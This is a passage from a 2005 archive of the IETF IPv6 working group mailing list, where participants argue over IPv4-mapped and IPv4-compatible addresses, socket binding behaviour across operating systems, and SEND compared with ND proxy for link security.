2 Feb 2005 10:48:14 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwN2E-00035x-Et for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 11:07:19 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwMgm-0007vf-Ld; Wed, 02 Feb 2005 10:45:08 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwMZc-0006Fi-30 for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 10:37:44 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA18015 for ; Wed, 2 Feb 2005 10:37:34 -0500 (EST) Received: from yue.linux-ipv6.org ([203.178.140.15] helo=yue.st-paulia.net) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwMrt-0002im-LO for ipv6@ietf.org; Wed, 02 Feb 2005 10:56:39 -0500 Received: from localhost (localhost [127.0.0.1]) by yue.st-paulia.net (Postfix) with ESMTP id A9B2B33CC2; Thu, 3 Feb 2005 00:38:22 +0900 (JST) Date: Thu, 03 Feb 2005 00:38:22 +0900 (JST) Message-Id: <20050203.003822.62699997.yoshfuji@linux-ipv6.org> To: jeroen@unfix.org From: YOSHIFUJI Hideaki / =?iso-2022-jp?B?GyRCNUhGIzFRTEAbKEI=?= In-Reply-To: <1107356525.8103.164.camel@firenze.zurich.ibm.com> References: <9C422444DE99BC46B3AD3C6EAFC9711B084FA071@tayexc13.americas.cpqcorp.net> <1107356525.8103.164.camel@firenze.zurich.ibm.com> Organization: USAGI Project X-URL: http://www.yoshifuji.org/%7Ehideaki/ X-Fingerprint: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA X-PGP-Key-URL: http://www.yoshifuji.org/%7Ehideaki/hideaki@yoshifuji.org.asc X-Face: "5$Al-.M>NJ%a'@hhZdQm:."qn~PA^gq4o*>iCFToq*bAi#4FRtx}enhuQKz7fNqQz\BYU] $~O_5m-9'}MIs`XGwIEscw;e5b>n"B_?j/AkL~i/MEaZBLP X-Mailer: Mew version 2.2 on Emacs 20.7 / Mule 4.1 (AOI) Mime-Version: 1.0 Content-Type: Text/Plain; charset=us-ascii Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 68c8cc8a64a9d0402e43b8eee9fc4199 Content-Transfer-Encoding: 7bit Cc: yoshfuji@linux-ipv6.org, colm@stdlib.net, ipv6@ietf.org, jim.bound@hp.com Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 856eb5f76e7a34990d1d457d8e8e5b7f Content-Transfer-Encoding: 7bit In article <1107356525.8103.164.camel@firenze.zurich.ibm.com> (at Wed, 02 Feb 2005 16:02:05 +0100), Jeroen Massar says: > * That is under the assumption that Windows + KAME + Linux together are > 'most', which could quite well be true with the number of XP's out there > on the market and the fact that KAME is in all the BSD's and a big part > of Linux. KAME is only for BSDs and it is NOT in Linux. -- Hideaki YOSHIFUJI @ USAGI Project GPG FP: 9022 65EB 1ECF 3AD1 0BDF 80D8 4807 F894 E062 0EEA -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 10:58:05 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA20578 for ; Wed, 2 Feb 2005 10:58:05 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwNBl-0003Qk-ML for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 11:17:10 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwMrq-0003Ho-1v; Wed, 02 Feb 2005 10:56:34 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwMiv-0008UL-MT for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 10:47:22 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19163 for ; Wed, 2 Feb 2005 10:47:16 -0500 (EST) Received: from raven.ecs.soton.ac.uk ([152.78.70.1]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwN1H-00031e-Cw for ipv6@ietf.org; Wed, 02 Feb 2005 11:06:21 -0500 Received: from magpie.ecs.soton.ac.uk (magpie.ecs.soton.ac.uk [152.78.68.131]) by raven.ecs.soton.ac.uk (8.12.10/8.12.10) with ESMTP id j12Fkwi3000052 for ; Wed, 2 Feb 2005 15:46:58 GMT Received: from login.ecs.soton.ac.uk (IDENT:root@login [152.78.68.162]) by magpie.ecs.soton.ac.uk (8.9.3/8.9.3) with ESMTP id PAA08898 for ; Wed, 2 Feb 2005 15:47:10 GMT Received: (from tjc@localhost) by login.ecs.soton.ac.uk (8.11.6/8.11.6) id j12FlAf31513 for ipv6@ietf.org; Wed, 2 Feb 2005 15:47:10 GMT Date: Wed, 2 Feb 2005 15:47:10 +0000 From: Tim Chown To: IPv6 WG Message-ID: <20050202154709.GX22722@login.ecs.soton.ac.uk> Mail-Followup-To: IPv6 WG References: <6.1.2.0.2.20050131043340.02fbf0c0@mailhost.iprg.nokia.com> <6.1.2.0.2.20050201032232.02f44e90@mailhost.iprg.nokia.com> Mime-Version: 1.0 Content-Type: text/plain; charset=us-ascii Content-Disposition: inline In-Reply-To: User-Agent: Mutt/1.4i X-MailScanner-Information: Please contact helpdesk@ecs.soton.ac.uk for more information X-ECS-MailScanner: Found to be clean X-MailScanner-From: tjc@smtp.ecs.soton.ac.uk X-Spam-Score: 0.0 (/) X-Scan-Signature: 8b30eb7682a596edff707698f4a80f7d Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: cab78e1e39c4b328567edb48482b6a69 On Tue, Feb 01, 2005 at 05:39:15PM +0200, Pekka Savola wrote: > On Tue, 1 Feb 2005, Bob Hinden wrote: > >My take of this is that they should remain in the IPv6 address > >architecture. There is current usage and removing them would break other > >specifications. > > I would agree with that conclusion for mapped addresses, but I have > heard NO ONE explicitly saying anything about the usefulness of > compatible addresses. > > Thus my take is that compatibles should be removed, and some kind of > warning/reference text added to the mapped addresses. > draft-ietf-v6ops-application-transition-03 (soon to be RFC) discusses > some of this. Hi Pekka, I thought compatibles had (or were) being removed. That's why all reference to them was removed from the new transition mechanisms RFC update? See section 9 of draft-ietf-v6ops-mech-v2-06.txt. If we're doing a u-turn on that, we should catch it in this draft too. The docs at http://gsyc.escet.urjc.es/~eva/IPv6-web/ipv6.html and as draft-ietf-v6ops-application-transition-03.txt (not -02!) show good practice. Has the application-transition draft been last called yet? Could we get it pushed and cited here in this RFC update? I didn't realise mapped was disabled on so many systems, very interesting. I am indifferent on mapped addresses; they clearly have use, and are being used, but it's not a wholly 'clean' solution for some of the reasons posted here and were we to start again... I think Itojun's mapped-on-the-wire-harmful draft is also good to cite, but that seems unlikely to ever complete? -- Tim -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 11:08:40 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA21907 for ; Wed, 2 Feb 2005 11:08:39 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwNM0-0003oP-24 for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 11:27:45 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwMrt-0003JR-3o; Wed, 02 Feb 2005 10:56:37 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwMjq-0000Hz-Je for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 10:48:19 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id KAA19273 for ; Wed, 2 Feb 2005 10:48:12 -0500 (EST) Received: from burp.tkv.asdf.org ([212.16.99.49] ident=root) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwN2C-00035s-LL for ipv6@ietf.org; Wed, 02 Feb 2005 11:07:17 -0500 Received: from burp.tkv.asdf.org (msa@localhost [127.0.0.1]) by burp.tkv.asdf.org (8.13.2/8.13.2/Debian-1) with ESMTP id j12FmDwb019161 for ; Wed, 2 Feb 2005 17:48:13 +0200 Received: (from msa@localhost) by burp.tkv.asdf.org (8.13.2/8.13.2/Submit) id j12FmDPX019158; Wed, 2 Feb 2005 17:48:13 +0200 Date: Wed, 2 Feb 2005 17:48:13 +0200 Message-Id: <200502021548.j12FmDPX019158@burp.tkv.asdf.org> From: Markku Savela To: ipv6@ietf.org In-reply-to: <20050202101241.GA5353@castlerea.stdlib.net.> (message from Colm MacCarthaigh on Wed, 2 Feb 2005 10:12:42 +0000) References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> <1107337268.8103.79.camel@firenze.zurich.ibm.com> <20050202101241.GA5353@castlerea.stdlib.net.> X-Spam-Score: 0.0 (/) X-Scan-Signature: 9ed51c9d1356100bce94f1ae4ec616a9 Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: 50a516d93fd399dc60588708fd9a3002 > From: Colm MacCarthaigh > Really the only remaining portability issue is the default behaviour of > bind(::) (without any specific options set). In Symbian OS API, see http://www.symbian.com/developer/techlib/v70docs/SDL_v7.0/doc_source/reference/cpp/Tcpip/ Bind to "any" (for incoming) has 3 choices 1) Bind(::) - accept only IPv6 2) Bind(0.0.0.0) - accept only IPv6 3) Bind() - accept both IPv4 and IPv6 The case (3) may need some explanation: in Symbian the adddress and port stored in class named TInetAddr (see the above link). This class contains the address family, which can be (1) KAFInet6 (~ AF_INET6) (2) KAFInet (~ AF_INET) (3) 0 ( unspecified) In Symbian environment, application has really no need to explicitly specify IPv4 or IPv6, and (3) is the best way to code. But, if someone insists on doing things the "hard way", they can limit their applications using either (1) or (2). Above really has nothing to do with IPv4 mapped addresses. In symbian, IPv4 address can be stored into TInetAddr either "traditionally" or as IPv4 mapped format. They are *totally* equivalent, there is no semantic difference at all. They are just two different formats for the same thing. However, IPV4 mapped format is important tool to make it possible to share code between IPv4 and IPv6. Using IP4 Mapped addresses allows to write single version of code that works as is for both IPv4 and IPv6. The Symbian stack is full hybrid IPv4/IPv6 stack. As installed base, the number of devices is rather large. But, then, they are small and light. Perhaps it's not as large as kame+unix/linux if you compute installed base in kilograms.. :-) -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 11:42:41 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA26128 for ; Wed, 2 Feb 2005 11:42:41 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwNsw-0004xR-8F for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 12:01:47 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwNPq-0005VT-Fo; Wed, 02 Feb 2005 11:31:42 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwNJI-0003KO-Cx for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 11:24:56 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA23791 for ; Wed, 2 Feb 2005 11:24:51 -0500 (EST) Received: from laposte.rennes.enst-bretagne.fr ([192.44.77.17]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwNbf-0004Jo-GQ for ipv6@ietf.org; Wed, 02 Feb 2005 11:43:56 -0500 Received: from givry.rennes.enst-bretagne.fr (givry.rennes.enst-bretagne.fr [193.52.74.194]) by laposte.rennes.enst-bretagne.fr (8.11.6p2/8.11.6/2003.04.01) with ESMTP id j12GOEG03010; Wed, 2 Feb 2005 17:24:14 +0100 Received: from givry.rennes.enst-bretagne.fr (localhost.rennes.enst-bretagne.fr [127.0.0.1]) by givry.rennes.enst-bretagne.fr (8.12.3/8.12.3) with ESMTP id j12GODSj093442; Wed, 2 Feb 2005 17:24:13 +0100 (CET) (envelope-from dupont@givry.rennes.enst-bretagne.fr) Message-Id: <200502021624.j12GODSj093442@givry.rennes.enst-bretagne.fr> From: Francis Dupont To: "Bound, Jim" In-reply-to: Your message of Tue, 01 Feb 2005 23:25:50 EST. <9C422444DE99BC46B3AD3C6EAFC9711B084F9FD2@tayexc13.americas.cpqcorp.net> Date: Wed, 02 Feb 2005 17:24:13 +0100 X-Virus-Scanned: by amavisd-milter (http://amavis.org/) at enst-bretagne.fr X-Spam-Score: 0.0 (/) X-Scan-Signature: 79899194edc4f33a41f49410777972f8 Cc: IPv6 WG , Bob Hinden , Radhakrishnan Suryanarayanan Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: ffa9dfbbe7cc58b3fa6b8ae3e57b0aa3 I agree with you (Jim): the question is philosophical: "is IPv6 a new version of the IP protocol or is IPv6 a new protocol?". In the first case it is natural to inject the IPv4 space into the IPv6 space and ignore the version when it is irrelevant, i.e., in 99% of real cases. Of course I am for this but the issue is there are implementations with really separated IPv4 and IPv6 stacks so for these implementations the "one socket for a server" coding style does not work. As the "two sockets" coding style can get some trouble with some other implementations the IPV6_V6ONLY stuff was invented in order to make possible one day a coding style guaranteed to work everywhere. So IMHO the only useful answer we can get from this discussion is about this day, i.e., are there used implementations today which don't support the "two sockets for a server with IPV6_V6ONLY set when it exists" (i.e., #@$* but universal) coding style? Thanks Francis.Dupont@enst-bretagne.fr -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 12:20:46 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA01287 for ; Wed, 2 Feb 2005 12:20:46 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwOTl-0006Fq-9i for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 12:39:52 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwNs9-0005f6-0Y; Wed, 02 Feb 2005 12:00:57 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwNl4-0004IK-5b for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 11:53:38 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id LAA28442 for ; Wed, 2 Feb 2005 11:53:33 -0500 (EST) Received: from noc.sixxs.net ([213.197.29.32] ident=postfix) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwO3R-0005OX-Tv for ipv6@ietf.org; Wed, 02 Feb 2005 12:12:38 -0500 Received: from localhost (localhost [127.0.0.1]) by noc.sixxs.net (Postfix) with ESMTP id 62FA72401C; Wed, 2 Feb 2005 17:53:27 +0100 (CET) Received: from noc.sixxs.net ([127.0.0.1]) by localhost (noc [127.0.0.1]) (amavisd-new, port 10024) with ESMTP id 22766-01; Wed, 2 Feb 2005 17:53:26 +0100 (CET) Received: from firenze.zurich.ibm.com (pat.zurich.ibm.com [195.176.20.45]) (using SSLv3 with cipher RC4-MD5 (128/128 bits)) (No client certificate requested) by noc.sixxs.net (Postfix) with ESMTP id 35DC32400D; Wed, 2 Feb 2005 17:53:26 +0100 (CET) From: Jeroen Massar To: Markku Savela , Francis Dupont In-Reply-To: <200502021548.j12FmDPX019158@burp.tkv.asdf.org> References: <9C422444DE99BC46B3AD3C6EAFC9711B084F9FF7@tayexc13.americas.cpqcorp.net> <1107337268.8103.79.camel@firenze.zurich.ibm.com> <20050202101241.GA5353@castlerea.stdlib.net.> <200502021548.j12FmDPX019158@burp.tkv.asdf.org> Organization: Unfix Date: Wed, 02 Feb 2005 17:53:24 +0100 Message-Id: <1107363204.8103.203.camel@firenze.zurich.ibm.com> Mime-Version: 1.0 X-Mailer: Evolution 2.0.2 (2.0.2-6) X-Virus-Scanned: noc.sixxs.net - http://www.sixxs.net X-Spam-Score: 0.0 (/) X-Scan-Signature: e1b0e72ff1bbd457ceef31828f216a86 Cc: ipv6@ietf.org Subject: Re: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Content-Type: multipart/mixed; boundary="===============0096034636==" Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: ff03b0075c3fc728d7d60a15b4ee1ad2 --===============0096034636== Content-Type: multipart/signed; micalg=pgp-sha1; protocol="application/pgp-signature"; boundary="=-0xhTmDwhV0bhx5xAb4kb" --=-0xhTmDwhV0bhx5xAb4kb Content-Type: text/plain Content-Transfer-Encoding: quoted-printable On Wed, 2005-02-02 at 17:48 +0200, Markku Savela wrote: > > From: Colm MacCarthaigh >=20 > > Really the only remaining portability issue is the default behaviour of > > bind(::) (without any specific options set).=20 >=20 > In Symbian OS API, see >=20 > http://www.symbian.com/developer/techlib/v70docs/SDL_v7.0/doc_source/ref= erence/cpp/Tcpip/ >=20 > Bind to "any" (for incoming) has 3 choices >=20 > 1) Bind(::) - accept only IPv6 > 2) Bind(0.0.0.0) - accept only IPv6 I guess you meant to write IPv4 there ;) > 3) Bind() - accept both IPv4 and IPv6 Nevertheless, this is not ambiguous, if a coder asks for ::, she will get IPv6 only, not IPv4. When she asks for nothing she will get ANY of ANY protocols. > The case (3) may need some explanation: in Symbian the adddress and > port stored in class named TInetAddr (see the above link). This class > contains the address family, which can be This is more an API level construction, just like one can abstract the getaddrinfo() functions etc and hide them in a Java or C++, just like the above, API, which would hide the details of any IP at all. For those cases indeed it can be handy to have mapped addresses, but handling it completely without knowledge of addresses at all is better in those cases (IMHO). The question is more how does the hidden part, inside the API handle it? Recommended way of doing as mentioned by several people, for and against deprecation of v4 mapped mention Eva's document, which like Itojun's document and quite a number of others note the usage of getaddrinfo() and using sockaddr_storage, which can contain basically anything, IPv4, IPv6, IPX, Netbios, etc. The respresentation of the addresses can then by done using inet_ntop()/inet_pton() and these can all be hidden even further nicely in the API, may that be classes or just functions. There is thus no need for v4-mapped addresses, one just has to program it the correct way, and not rely on in6_addr directly, which should not be in ones code at all. (unless you are doing lowlevel stuff etc... ) Or are the classed mentioned above native-Symbian? (Nice docs btw) > The Symbian stack is full hybrid IPv4/IPv6 stack. As installed base, > the number of devices is rather large. But, then, they are small and > light. Perhaps it's not as large as kame+unix/linux if you compute > installed base in kilograms.. :-) Symbian (7.0+) + owner should match up with the unix/linux list, then again some huge clusters can amount for quite some weight too ;) On Wed, 2005-02-02 at 17:24 +0100, Francis Dupont wrote: > So IMHO the only useful answer we can get from this discussion is about > this day, i.e., are there used implementations today which don't support > the "two sockets for a server with IPV6_V6ONLY set when it exists" > (i.e., #@$* but universal) coding style? The problem here is that there are a number of older implementations that don't support the flag and there is no way of turning the v4-mapped support off unless you downgrade. Then again, upgrading is nowadays quite a normal cycle, but of course in quite a number of situation with version dependenci= es and other weird policies this cannot be achieved in all scenario's. Though one could argue that if a host needs IPv6 that it should have quite some new software on it already of course ;) Most newer implementations should support the above. Greets, Jeroen --=-0xhTmDwhV0bhx5xAb4kb Content-Type: application/pgp-signature; name=signature.asc Content-Description: This is a digitally signed message part -----BEGIN PGP SIGNATURE----- Version: GnuPG v1.2.6 (GNU/Linux) Comment: Jeroen Massar / http://unfix.org/~jeroen/ iD8DBQBCAQWEKaooUjM+fCMRApptAJ4miPDgmad/CjuDN9K4bIP6S8xU6gCgsZ/S P05PDxg+6UV+S1axF2Llxlg= =IClg -----END PGP SIGNATURE----- --=-0xhTmDwhV0bhx5xAb4kb-- --===============0096034636== Content-Type: text/plain; charset="us-ascii" MIME-Version: 1.0 Content-Transfer-Encoding: 7bit Content-Disposition: inline Content-Transfer-Encoding: 7bit -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- --===============0096034636==-- From ipv6-bounces@ietf.org Wed Feb 2 13:00:52 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id NAA06311 for ; Wed, 2 Feb 2005 13:00:52 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwP6c-0007gj-E5 for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 13:19:59 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwOjr-00011L-CU; Wed, 02 Feb 2005 12:56:27 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwOgB-0008Hr-CK for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 12:52:42 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id MAA05344 for ; Wed, 2 Feb 2005 12:52:34 -0500 (EST) Received: from nwkea-mail-2.sun.com ([192.18.42.14]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwOyZ-0007Ow-3J for ipv6@ietf.org; Wed, 02 Feb 2005 13:11:41 -0500 Received: from jurassic.eng.sun.com ([129.146.87.31]) by nwkea-mail-2.sun.com (8.12.10/8.12.9) with ESMTP id j12HqSpv005860; Wed, 2 Feb 2005 09:52:28 -0800 (PST) Received: from [192.9.61.11] (punchin-nordmark.SFBay.Sun.COM [192.9.61.11]) by jurassic.eng.sun.com (8.13.3+Sun/8.13.3) with ESMTP id j12HqR9d325787; Wed, 2 Feb 2005 09:52:27 -0800 (PST) Message-ID: <42011330.2080604@sun.com> Date: Wed, 02 Feb 2005 09:51:44 -0800 From: Erik Nordmark User-Agent: Mozilla Thunderbird 1.0 (X11/20041208) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Christian Huitema References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Spam-Score: 0.0 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Content-Transfer-Encoding: 7bit Cc: Thomas Narten , Brian Haberman , James Kempf , IPv6 , Dave Thaler , Margaret Wasserman , Brian E Carpenter Subject: Re: Request to Advance: [RESEND] X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.0 (/) X-Scan-Signature: b19722fc8d3865b147c75ae2495625f2 Content-Transfer-Encoding: 7bit Christian Huitema wrote: > Don't get me wrong, I like SEND. My point was just that if we allow > "transparent" bridges at all, then we essentially allow the same > man-in-the-middle attacks that are also possible with ND proxy. But doesn't the layering inherent in the SeND vs. IEEE make this rather different in practice than ndproxy? With SeND in hand, the user can deploy IEEE technologies (whether .1x with MAC address somehow bound to the authenticated user, or future things - .16 talks of certificates bound to MAC addresses I think). Once the user deploys both, then the resulting system is secure, with SeND protecting the mapping between IP and L2 address, and IEEE protocol protecting the mapping between L2 address and authenticated "user". The user can even use IEEE 802.1D bridges in the part of the network that is physically secured (i.e., where no clients can connect) without loss of security. Can the user accomplish the same if ndproxy is used? The applicability of ndproxy seems to be towards the "edge" of the link i.e. to allow extensions of a single /64. Doesn't that mean that it would be natural for it to be deployed outside of the "trusted wiring closet" when the user keeps their 802.1D bridges? Erik -------------------------------------------------------------------- IETF IPv6 working group mailing list ipv6@ietf.org Administrative Requests: https://www1.ietf.org/mailman/listinfo/ipv6 -------------------------------------------------------------------- From ipv6-bounces@ietf.org Wed Feb 2 17:10:57 2005 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id RAA15502 for ; Wed, 2 Feb 2005 17:10:57 -0500 (EST) Received: from megatron.ietf.org ([132.151.6.71]) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwT0f-0003Gc-6u for ipv6-web-archive@ietf.org; Wed, 02 Feb 2005 17:30:05 -0500 Received: from localhost.localdomain ([127.0.0.1] helo=megatron.ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwSHF-0007YZ-EC; Wed, 02 Feb 2005 16:43:09 -0500 Received: from odin.ietf.org ([132.151.1.176] helo=ietf.org) by megatron.ietf.org with esmtp (Exim 4.32) id 1CwS76-0006IR-82 for ipv6@megatron.ietf.org; Wed, 02 Feb 2005 16:32:49 -0500 Received: from ietf-mx.ietf.org (ietf-mx.ietf.org [132.151.6.1]) by ietf.org (8.9.1a/8.9.1a) with ESMTP id QAA08348 for ; Wed, 2 Feb 2005 16:32:33 -0500 (EST) Message-Id: <200502022132.QAA08348@ietf.org> Received: from bdsl.66.15.163.216.gte.net ([66.15.163.216] helo=tndh.net) by ietf-mx.ietf.org with esmtp (Exim 4.33) id 1CwSPT-0000lD-OC for ipv6@ietf.org; Wed, 02 Feb 2005 16:51:41 -0500 Received: from eaglet (127.0.0.1:4537) by tndh.net with [XMail 1.17 (Win32/Ix86) ESMTP Server] id for from ; Wed, 2 Feb 2005 13:32:31 -0800 From: "Tony Hain" To: "'Jeroen Massar'" , "'Bound, Jim'" Date: Wed, 2 Feb 2005 13:32:25 -0800 MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: 7bit X-Mailer: Microsoft Office Outlook, Build 11.0.6353 In-Reply-To: <1107337268.8103.79.camel@firenze.zurich.ibm.com> X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2527 Thread-Index: AcUJDNSKnZmHZ8OzTSiSnxwuqf2cUQAYCB/w X-Spam-Score: 0.0 (/) X-Scan-Signature: 7d33c50f3756db14428398e2bdedd581 Content-Transfer-Encoding: 7bit Cc: "'IPv6 WG'" Subject: RE: IPv6 Address Architecture update question X-BeenThere: ipv6@ietf.org X-Mailman-Version: 2.1.5 Precedence: list List-Id: "IP Version 6 Working Group \(ipv6\)" List-Unsubscribe: , List-Post: List-Help: List-Subscribe: , Sender: ipv6-bounces@ietf.org Errors-To: ipv6-bounces@ietf.org X-Spam-Score: 0.8 (/) X-Scan-Signature: 2409bba43e9c8d580670fda8b695204a Content-Transfer-Encoding: 7bit Jeroen Massar wrote: > ... > It is indeed in POSIX, but why don't admit that it is a mistake to have > it? I though that it was a great idea too, until the Windows > implementation came out that does not and cannot support it due to it's > separate stacks. That separation was a point in time implementation choice that is likely to change in other versions of the OS. The split stack implementation by itself does not preclude the right thing from happening through either a shim or direct binding between the stacks, but by default there is no path. None of this or any other individual vendor's implementation choice affects the value of the idea. The only thing those affect are the implementation effort required for the app developer. Getting rid of a good idea does not make the app developer's job any easier; it just ensures that everyone has to go through the same level of pain. Taking it out is a bad idea. Tony -------------------------------------------------------------------- IETF 